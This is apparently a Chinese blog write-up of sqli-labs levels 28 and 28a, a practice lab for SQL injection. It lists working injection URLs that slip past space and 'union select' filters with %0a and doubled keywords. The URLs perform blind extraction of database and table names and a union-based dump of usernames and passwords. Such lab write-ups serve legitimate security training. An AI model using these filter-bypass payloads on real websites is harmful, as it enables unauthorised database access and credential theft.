sqli-labs第28关,28a关

第28关

判断注入类型 

?id=2%0aand%0a1=1
?id=2%0aand%0a1=2

结果均返回正常,为字符型注入,尝试单引号、双引号、括号等注入,发现为')注入

?id=2')%0aand%0a('1'='1

此关出错,却没有报错信息,可以采用盲注

1.盲注

判断数据库长度:

?id=2%27)%0aand%0alength(database())=8%0aand%0a(%271%27=%271

 判断数据库

?id=2')%0aand%0aascii(mid(database(),1,1))=115%0aand%0a('1'='1

以此类推,得出库名为security

判断表名

?id=2%27)%0aand%0aascii(mid((select%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0alimit%0a0,1),1,1))=101%0aand%0a(%271%27=%271

以此类推,得出第一个表名为email;

?id=2%27)%0aand%0aascii(mid((select%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0alimit%0a1,1),1,1))=114%0aand%0a(%271%27=%271

得出第2个表名为referes ;

......得出剩余表名uagents,users

2.采用联合

这关主要点是union select被过滤,不是单纯的过滤union,select

绕过union select,得出回显点

?id=0')%0aunionunion%0aselect%0aselect%0a1,2,3%0aand%0a('1'='1

得出数据库

?id=0%27)%0aunionunion%0aselect%0aselect%0a1,database(),3%0aand%0a(%271%27=%271

得出表名

?id=0%27)%0aunionunion%0aselect%0aselect%0a1,(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()),3%0aand%0a(%271%27=%271

得出列名

?id=0%27)%0aunionunion%0aselect%0aselect%0a1,(select%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema=database()%0aand%0atable_name=%27users%27),3%0aand%0a(%271%27=%271

得出用户名,密码

?id=0%27)%0aunionunion%0aselect%0aselect%0a1,(select%0agroup_concat(username,%27:%27,password)%0afrom%0ausers),3%0aand%0a(%271%27=%271

第28a关

这一关为')字符型注入,也是没有报错信息,方法与28关差不多,好处是空格没过滤

?id=2%27)%20and%20(%271%27=%271

有点小奇怪,看了主页面,按理说28关应该给出报错信息,毕竟标题写的是基于报错

查看28关源码,报错信息被注释

把注释去掉,就有报错信息

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值